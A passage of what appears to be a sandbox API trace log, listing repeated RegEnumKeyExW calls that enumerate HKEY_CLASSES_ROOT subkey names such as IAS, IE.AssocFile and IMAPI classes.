lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x545, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.NTEventLog.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x546, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.NTGroups", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x547, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.NTGroups.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x548, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.NTSamAuthentication", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x549, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.NTSamAuthentication.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x54a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.NTSamNames", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x54b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.NTSamNames.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x54c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.NTSamPerUser", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x54d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.NTSamPerUser.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x54e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.PolicyEnforcer", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x54f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.PolicyEnforcer.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x550, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.PostEapRestrictions", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x551, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.PostEapRestrictions.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x552, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.ProxyPolicyEnforcer", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x553, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.ProxyPolicyEnforcer.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x554, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.RadiusProtocol", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.879] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x555, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.RadiusProtocol.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x556, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.RadiusProxy", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x557, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.RadiusProxy.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x558, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.RAPBasedEAP", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x559, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.RAPBasedEAP.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x55a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.Realm", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x55b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.Realm.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x55c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.Request", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x55d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.Request.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.880] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x55e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.SdoMachine", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x55f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.SdoMachine.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x560, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.SdoService", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x561, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.SdoService.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x562, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.TimeOfDay", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x563, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.TimeOfDay.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x564, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.URHandler", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x565, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.URHandler.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x566, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.UserAccountValidation", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.881] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x567, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.UserAccountValidation.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x568, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.UserNTGroups", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x569, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.UserNTGroups.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x56a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="icmfile", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x56b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="icofile", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x56c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ICOFilter.CoICOFilter", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x56d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ICOFilter.CoICOFilter.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x56e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IconLibraryFile", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x56f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IDBHO.IDBHOCtrl", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.882] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x570, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IDBHO.IDBHOCtrl.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x571, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE.AssocFile.HTM", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x572, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE.AssocFile.MHT", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x573, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE.AssocFile.PARTIAL", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x574, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE.AssocFile.SVG", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x575, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE.AssocFile.URL", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x576, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE.AssocFile.WEBSITE", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.883] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x577, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE.AssocFile.XHT", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x578, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE.FTP", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x579, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE.HTTP", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x57a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE.HTTPS", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x57b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE.message/rfc822", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x57c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE.text/html", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.884] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x57d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="iehistory", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x57e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IEPH.HistoryHandler", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x57f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IEPH.RSSHandler", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x580, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ierss", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x581, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ie_to_edge_bho.IEToEdgeBHO", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x582, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ie_to_edge_bho.IEToEdgeBHO.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x583, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IImeIPointSrv1041", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x584, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IImeIPointSrv1041.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x585, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IImeIPointSrv1041.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.885] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x586, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IImgCtx", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.886] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x587, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI.MSDiscMasterObj", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.886] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x588, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI.MSDiscMasterObj.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.886] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x589, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI.MSDiscRecorderObj", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.886] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x58a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI.MSDiscRecorderObj.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.886] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x58b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI.MSEnumDiscRecordersObj", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.886] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x58c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI.MSEnumDiscRecordersObj.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.886] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x58d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftDiscFormat2Data", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.886] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x58e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftDiscFormat2Data.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.886] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x58f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftDiscFormat2Erase", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.887] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x590, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftDiscFormat2Erase.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.887] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x591, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftDiscFormat2RawCD", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.887] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x592, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftDiscFormat2RawCD.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.887] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x593, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, 